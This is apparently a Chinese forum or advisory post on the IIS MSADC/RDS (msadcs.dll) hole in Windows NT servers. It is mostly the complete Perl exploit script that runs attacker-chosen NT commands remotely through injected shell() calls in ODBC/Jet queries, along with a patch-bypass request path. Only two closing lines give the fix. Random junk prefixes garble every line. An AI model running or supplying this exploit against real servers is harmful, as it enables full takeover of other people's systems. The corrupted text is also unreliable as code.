IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Q~Sv2 JXRf4QmG 涉及程序:
zTBi{KrZ Microsoft NT server
wI]R+.
k E#_Pc 描述:
L[D/#0qp 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Rr;LV<q+
vD)A) 详细:
T.w}6?2 如果你没有时间读详细内容的话,就删除:
EBDC '^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
$7gB&T.x 有关的安全问题就没有了。
vLK\X$4 ;]oXEq` 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
EO9kE.g 7MuK/q. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
o!l3.5m2d 关于利用ODBC远程漏洞的描述,请参看:
Xm^h5jAr _Dcc<-. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sg6w7fp> oA3W
{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
k"^t?\Q%vI http://www.microsoft.com/security/bulletins/MS99-025faq.asp .M53, 8X &b@!DAwAJ 这里不再论述。
9p\wTzA ~q]|pD"\K| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
:af;yu qJFgbq4- /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<GT>s 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
cxP9n8CuT @(,{_c] '^oGDlkr H #将下面这段保存为txt文件,然后: "perl -x 文件名"
*/5<L99v fdq^!MWTi #!perl
jY#(A23 #
)*TW\v`B # MSADC/RDS 'usage' (aka exploit) script
kTiPZZI #
++Ys9Y)*, # by rain.forest.puppy
4<3?al& #
spSN6.j # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1y)$[e
# beta test and find errors!
eA*Jfb O2'bNR use Socket; use Getopt::Std;
B
)1<`nJA getopts("e:vd:h:XR", \%args);
msqxPC^I _L:i=.hxN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5fj bDh:!M if (!defined $args{h} && !defined $args{R}) {
]lB3qEn< print qq~
.XLV:6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
2*-ENW2 -h <host> = host you want to scan (ip or domain)
-M>K4*%K -d <seconds> = delay between calls, default 1 second
5}d/8tS -X = dump Index Server path table, if available
1 ~B< -v = verbose
y[^k*,=
9 -e = external dictionary file for step 5
O'!r]0Q 6L:trLuQ Or a -R will resume a command session
}4\!7]FVYX \%-E"[! ~; exit;}
b5n]Gp fZw9zqg $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
z3vsz if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
MKVfy:g%So if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)4'x7Qg/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~3'OiIw1@ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
dxkRk#mf: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
e$ XY\{
22al if (!defined $args{R}){ $ret = &has_msadc;
;Oi[:Ck die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\&\_>X., 20.-;jK print "Please type the NT commandline you want to run (cmd /c assumed):\n"
i!1ho T$ . "cmd /c ";
_\4` $in=<STDIN>; chomp $in;
nI` f_sp $command="cmd /c " . $in ;
=$)4: 6=G~6Qu if (defined $args{R}) {&load; exit;}
5M<'A= ^8';8+$ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
nL":0!DTRD &try_btcustmr;
!y
qa?\v9 R%Ui6dCLo print "\nStep 2: Trying to make our own DSN...";
`FzYvd"N &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\ifK~? FUyB"-< print "\nStep 3: Trying known DSNs...";
s.R-<Y3 &known_dsn;
68koQgI[^ |b$>68: print "\nStep 4: Trying known .mdbs...";
F}6DB* &known_mdb;
}XGMa?WR Z{,GZT if (defined $args{e}){
3wN?|N print "\nStep 5: Trying dictionary of DSN names...";
0|fb< " &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
n)
_dH/" ;t;Y.*&=S print "Sorry Charley...maybe next time?\n";
?fbgU exit;
VxkCK02k ZR;8rZ]( ##############################################################################
z.2r@Psk (|0.m8D~D sub sendraw { # ripped and modded from whisker
E ;BPN sleep($delay); # it's a DoS on the server! At least on mine...
sJ))<,e5I my ($pstr)=@_;
[K cki+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
V>b2b5QAH, die("Socket problems\n");
}J ei$0x if(connect(S,pack "SnA4x8",2,80,$target)){
'%zN select(S); $|=1;
W>5vRwx00 print $pstr; my @in=<S>;
^wx%CdFm'P select(STDOUT); close(S);
~ON1Zw[+ return @in;
[x2JFS#4 } else { die("Can't connect...\n"); }}
^CZCZ,v @uI? ##############################################################################
f7XQ~b &a%WM sub make_header { # make the HTTP request
gk!E$NyE my $msadc=<<EOT
Jv_.itc POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C5O5S:|' User-Agent: ACTIVEDATA
w5F4"nl#O} Host: $ip
B :.@Qi^ Content-Length: $clen
GXDC@+$14 Connection: Keep-Alive
CQ6'b,L& .]W;2G ADCClientVersion:01.06
q"gqO%Wb| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
qP~WEcH`[ ,?l~rc --!ADM!ROX!YOUR!WORLD!
G'ij?^? Content-Type: application/x-varg
R)0N0gH Content-Length: $reqlen
\~JNQ&_o )E'Fke EOT
$&cz$jyY ; $msadc=~s/\n/\r\n/g;
YBb)/ZghY return $msadc;}
#O2wyG)oU vU=9ydAj? ##############################################################################
BdN8
^W :83,[;GO2 sub make_req { # make the RDS request
,Bisu:v6FW my ($switch, $p1, $p2)=@_;
?e
F@Q!h my $req=""; my $t1, $t2, $query, $dsn;
$4Z+F#mx di~]HUZh) if ($switch==1){ # this is the btcustmr.mdb query
x(L(l=^" $query="Select * from Customers where City=" . make_shell();
/b{o3, #.M $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
WtEI] WO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
OFc\fW# ""co6qo#> elsif ($switch==2){ # this is general make table query
t#C,VwMe[ $query="create table AZZ (B int, C varchar(10))";
!Eq#[Gs $dsn="$p1";}
<d5@CA+M o^3FL||P#r elsif ($switch==3){ # this is general exploit table query
>(X#<` $query="select * from AZZ where C=" . make_shell();
H2_/,n $dsn="$p1";}
0,HqE='w %BUEX elsif ($switch==4){ # attempt to hork file info from index server
_ Yfmxn8V $query="select path from scope()";
QE|`&~sme $dsn="Provider=MSIDXS;";}
S_J,[#& aF!E x elsif ($switch==5){ # bad query
b"I~_CL| $query="select";
LO)GTyzvJ $dsn="$p1";}
{Fbg]'FQ ]eE 1n2 $t1= make_unicode($query);
]kx-,M( $t2= make_unicode($dsn);
B$rTwR"(- $req = "\x02\x00\x03\x00";
s f(iE(o $req.= "\x08\x00" . pack ("S1", length($t1));
PgMbMH
$req.= "\x00\x00" . $t1 ;
z~,mRgc$B $req.= "\x08\x00" . pack ("S1", length($t2));
|6aJwe+*
$req.= "\x00\x00" . $t2 ;
3UdU"d[75 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
v:E;^$6Vn return $req;}
Yu'a<5f L>dkrr)e ##############################################################################
r'/\HWNP Hkdf $$\ sub make_shell { # this makes the shell() statement
dL-i)F
return "'|shell(\"$command\")|'";}
6^)rv-L~5y )l&D]3$6K ##############################################################################
#%:c0= 2-~|Z=eGW sub make_unicode { # quick little function to convert to unicode
F/>*Ifs my ($in)=@_; my $out;
|( G2K'Ab for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
vA=Z=8 return $out;}
yGxv?%%2 fAGctRGH ##############################################################################
`H\)e%] Y;Ap9i* sub rdo_success { # checks for RDO return success (this is kludge)
8nCp\0
my (@in) = @_; my $base=content_start(@in);
OOnX` if($in[$base]=~/multipart\/mixed/){
g+xw$A ou return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ve}[XqdS^p return 0;}
8'A72*dhX >H>gH2qp ##############################################################################
[ $pmPr2 j(iuz^I sub make_dsn { # this makes a DSN for us
~:4~2d| my @drives=("c","d","e","f");
>{C\H.N print "\nMaking DSN: ";
t6+YXjXK foreach $drive (@drives) {
jfD1 print "$drive: ";
WK0C my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
qTT,U9]: "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
`
J]xP$) . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
WF2NG;f= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
zvY+R\,in return 0 if $2 eq "404"; # not found/doesn't exist
MuwQZ]u if($2 eq "200") {
SHV4!xP-V foreach $line (@results) {
!4WEk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
T dk
,&8 } return 0;}
i^)WPP>4Aw a8pY[)^c ##############################################################################
:P$#MC 6.5wZN9<| sub verify_exists {
=>|C~@C? my ($page)=@_;
PFM'&;V my @results=sendraw("GET $page HTTP/1.0\n\n");
z
x@$RS+] return $results[0];}
"7,FXTaer d--'Rn5 ##############################################################################
nPN?kO=] JN4fPGbV sub try_btcustmr {
{^}0 G^ my @drives=("c","d","e","f");
paW@\1Q my @dirs=("winnt","winnt35","winnt351","win","windows");
:=Kx/E:1 n((vY.NDV foreach $dir (@dirs) {
KL [ek print "$dir -> "; # fun status so you can see progress
5|I55CTx foreach $drive (@drives) {
G_ >G'2 print "$drive: "; # ditto
.&1C:> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
c)}2K0 $reqlenlen=length( "$reqlen" );
C3XmK}h $clen= 206 + $reqlenlen + $reqlen;
&H||&Z[pk fY,|o3# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
t\4[``t if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
RO&H5m r%@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
4-R^/A0 N@xg:xr ##############################################################################
CSTI?A"P g5Z#xszj+ sub odbc_error {
En6H%^d2 my (@in)=@_; my $base;
p`F9Amb my $base = content_start(@in);
*|% ^0#$c if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
V0*3;n $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c~=B0K- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=JS;;PzX[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
id^sr
Mw return $in[$base+4].$in[$base+5].$in[$base+6];}
(;_FIUz0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
J=W0Xi! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
VZy4_v= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
I.'b'-^ #]]Su91BA ##############################################################################
]y@F8$D! &fOdlQ? sub verbose {
yxt[=
C my ($in)=@_;
yX!HZu;j return if !$verbose;
B@y(. print STDOUT "\n$in\n";}
<7_KeOLJ ::5E 8919 ##############################################################################
e@#kRklV& %JZZ%xc sub save {
1ocJ+ my ($p1, $p2, $p3, $p4)=@_;
;CHi\+` 5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
B,WTHU[AV print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
BvD5SBa}" close OUT;}
$wB^R(f@ bFS>) ##############################################################################
C?4JXW d[D&J sub load {
S6d`ioi- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
kc `V4b% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
uC3:7 @p=<IN>; close(IN);
SOZPZUUEJ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
errH>D~ $target= inet_aton($ip) || die("inet_aton problems");
&fC!(Oy print "Resuming to $ip ...";
ao" %WX $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
BYrZEVM9 if($p[1]==1) {
:1ecx$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
!y:%0{l $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
@|}BXQNd my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+|iYg/2 if (rdo_success(@results)){print "Success!\n";}
Q/ms]Du else { print "failed\n"; verbose(odbc_error(@results));}}
N6OMYP1 elsif ($p[1]==3){
/93l74.w if(run_query("$p[3]")){
/u%h8!"R print "Success!\n";} else { print "failed\n"; }}
&MZ$j46 elsif ($p[1]==4){
nlYR-. if(run_query($drvst . "$p[3]")){
YevyN\,}V! print "Success!\n"; } else { print "failed\n"; }}
M:KbD| exit;}
G!N{NCq RyJ 1mAC ##############################################################################
)d\j I *^\HU=& sub create_table {
X~=xXN. my ($in)=@_;
z4#(Ze@u~_ $reqlen=length( make_req(2,$in,"") ) - 28;
!" #9<~Q,p $reqlenlen=length( "$reqlen" );
<h).fX $clen= 206 + $reqlenlen + $reqlen;
fWc|gq my @results=sendraw(make_header() . make_req(2,$in,""));
;22l"-F return 1 if rdo_success(@results);
CT9 my $temp= odbc_error(@results); verbose($temp);
xT&(n/ return 1 if $temp=~/Table 'AZZ' already exists/;
2T@GA1G return 0;}
kd`0E-QU im7nJQ^H$q ##############################################################################
}v9\F-0>Q 7;@ST`cC sub known_dsn {
Q5{Pv}Jx # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}?F`t[+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'^BV_ QQ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!Z!g:II
/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
mR\`DltoV :F,O foreach $dSn (@dsns) {
PNF?;*`-{7 print ".";
SzwQOs* next if (!is_access("DSN=$dSn"));
W7"{r)7 if(create_table("DSN=$dSn")){
7|\@zQ h print "$dSn successful\n";
`\`> 0hlu if(run_query("DSN=$dSn")){
*L6PLe print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
n79QJl/ print "Something's borked. Use verbose next time\n";}}} print "\n";}
;8WZx 7(M(7}EKA ##############################################################################
w=]Ks'C] %W,D;?lEo> sub is_access {
<~TP#uAz my ($in)=@_;
pLa[}= $reqlen=length( make_req(5,$in,"") ) - 28;
'{I_\~* $reqlenlen=length( "$reqlen" );
l0&EZN0V2 $clen= 206 + $reqlenlen + $reqlen;
e^4 p% my @results=sendraw(make_header() . make_req(5,$in,""));
\^( 0B8|w my $temp= odbc_error(@results);
9a\nszwa verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Gb[`R}^dq return 0;}
;6@r-r 2?m.45` ##############################################################################
~ ~uAc_ 8l}1c=A}Vi sub run_query {
2!&&|Mh} my ($in)=@_;
H>9CW<8 $reqlen=length( make_req(3,$in,"") ) - 28;
nJ4@I7Sk; $reqlenlen=length( "$reqlen" );
gBT2)2] $clen= 206 + $reqlenlen + $reqlen;
$aHAv/&(5 my @results=sendraw(make_header() . make_req(3,$in,""));
I;5R2" 3 return 1 if rdo_success(@results);
8[r9HC my $temp= odbc_error(@results); verbose($temp);
g %K> return 0;}
[7(-T?_ vZ/6\Cz ##############################################################################
}X
GEX:1K L9pvG(R% sub known_mdb {
lis/`B\x my @drives=("c","d","e","f","g");
*
tCS my @dirs=("winnt","winnt35","winnt351","win","windows");
JN^&S my $dir, $drive, $mdb;
Qk!;M| my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+`7KSwa xq6cKtSv # this is sparse, because I don't know of many
N#lDW~e' my @sysmdbs=( "\\catroot\\icatalog.mdb",
'r(1Nj "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-a*K$rnB "\\system32\\certmdb.mdb",
DD" $1o" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
1/p*tZP8i ??TMSH my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
QL6C,#6 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Kp+CH7I* "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Rqwzh@} "\\cfusion\\cfapps\\security\\realm_.mdb",
~GE$myUT\p "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=@TQ>Qw%b "\\cfusion\\database\\cfexamples.mdb",
o=FE5"t "\\cfusion\\database\\cfsnippets.mdb",
eC5 $#,HiC "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^pM+A6
XY "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$+.l*] "\\cfusion\\brighttiger\\database\\cleam.mdb",
l3N I$Zu "\\cfusion\\database\\smpolicy.mdb",
7t,t` "\\cfusion\\database\cypress.mdb",
dU\%Cq-G) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*[=bR> "\\website\\cgi-win\\dbsample.mdb",
VG/3xR&y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
UhIDRR "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
K)TrZ 2 ); #these are just
~|wbP6</:- foreach $drive (@drives) {
#:T-hRu foreach $dir (@dirs){
pJN$ { foreach $mdb (@sysmdbs) {
0$7.g!h? print ".";
zP6.xp3 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
nG_6oe*=I print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2pdvWWh3l if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
pP(XIC print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
cyxuK*x< } else { print "Something's borked. Use verbose next time\n"; }}}}}
E}%hz*Q)( 5[j`6l foreach $drive (@drives) {
T~h5B(J; foreach $mdb (@mdbs) {
"c}@V*cO<d print ".";
5*[2yKsTi if(create_table($drv . $drive . $dir . $mdb)){
3\T2?w9u( print "\n" . $drive . $dir . $mdb . " successful\n";
O;7)Hjw t if(run_query($drv . $drive . $dir . $mdb)){
&uC@|dbC5 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
[AV4m
} else { print "Something's borked. Use verbose next time\n"; }}}}
=]3tUD }
?\8?%Qk FI"`DMb} ##############################################################################
G,;,D9jO7 p4p@^@<>X sub hork_idx {
~b{Gz6u> print "\nAttempting to dump Index Server tables...\n";
;[RZ0Uy= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
nx0K$Ptq $reqlen=length( make_req(4,"","") ) - 28;
+cU>k} $reqlenlen=length( "$reqlen" );
qRbf2; $clen= 206 + $reqlenlen + $reqlen;
8w({\= my @results=sendraw2(make_header() . make_req(4,"",""));
;gC| if (rdo_success(@results)){
fwzb!"!.@ my $max=@results; my $c; my %d;
V.wqZ {G for($c=19; $c<$max; $c++){
64:fs?H $results[$c]=~s/\x00//g;
$%VuSrZ& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Qp`gswvE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
U-n;xX0= $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
AyMd:5; $d{"$1$2"}="";}
ko5V9Drc foreach $c (keys %d){ print "$c\n"; }
/c):}PJ^#7 } else {print "Index server doesn't seem to be installed.\n"; }}
dL|+d:v .f+TZDUO ##############################################################################
u{["50~ >vo=]cw sub dsn_dict {
y\{%\ $ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ax
41N25 while(<IN>){
DNP13wp@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.jMq next if (!is_access("DSN=$dSn"));
%v2R.?F8 if(create_table("DSN=$dSn")){
r H ~" 4 print "$dSn successful\n";
[@4rjGwB if(run_query("DSN=$dSn")){
HYmn:?H print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s`>[F@N7.o print "Something's borked. Use verbose next time\n";}}}
pKi& [ print "\n"; close(IN);}
Rb3V^;i i1RiGS ##############################################################################
3P;>XGCxZ ^_lzZOhG sub sendraw2 { # ripped and modded from whisker
|F#1C9]P sleep($delay); # it's a DoS on the server! At least on mine...
:T9<der, my ($pstr)=@_;
%u;~kP|S% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z2Z^~,i die("Socket problems\n");
7=(Hy\Q5xH if(connect(S,pack "SnA4x8",2,80,$target)){
U4G`ZKv(! print "Connected. Getting data";
qY[xpm open(OUT,">raw.out"); my @in;
LY-2sa#B$- select(S); $|=1; print $pstr;
GRY2?'` while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$/nY5[ close(OUT); select(STDOUT); close(S); return @in;
d|4}obCt } else { die("Can't connect...\n"); }}
.CFa9"< Ao/ jt< ##############################################################################
|g*XK6 ;qBu4'C)T sub content_start { # this will take in the server headers
T9s2bC.z55 my (@in)=@_; my $c;
@gG<le6 for ($c=1;$c<500;$c++) {
.H,xle if($in[$c] =~/^\x0d\x0a/){
8zMu7,E if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
IT$25ZF else { return $c+1; }}}
\}]!)}G return -1;} # it should never get here actually
O`vTnrY Zkf0p9h\ ##############################################################################
DfKr[cqLM FN[{s sub funky {
yeHDa+} my (@in)=@_; my $error=odbc_error(@in);
VWO9=A*Y| if($error=~/ADO could not find the specified provider/){
o: ;"w"G print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0
Us5 exit;}
zz& ?{vJ if($error=~/A Handler is required/){
cYqfsd# B print "\nServer has custom handler filters (they most likely are patched)\n";
~jsLqY*(+ exit;}
"9n3VX) if($error=~/specified Handler has denied Access/){
D1&A,2wO print "\nServer has custom handler filters (they most likely are patched)\n";
f^VP/rdg exit;}}
&d|r~NhP (64yg ##############################################################################
r7',3V p ]d]QMu sub has_msadc {
<ZB1Vi9}8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
-I=l8m6L my $base=content_start(@results);
!>1@HH?I\/ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
E4hLtc^
+ return 0;}
5<w g8y 9*a=iL*Nw ########################
h9eMcCU 5ls6t{Ci p QizJ6 解决方案:
__.+s32SS$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4^URX>nx8 2、移除web 目录: /msadc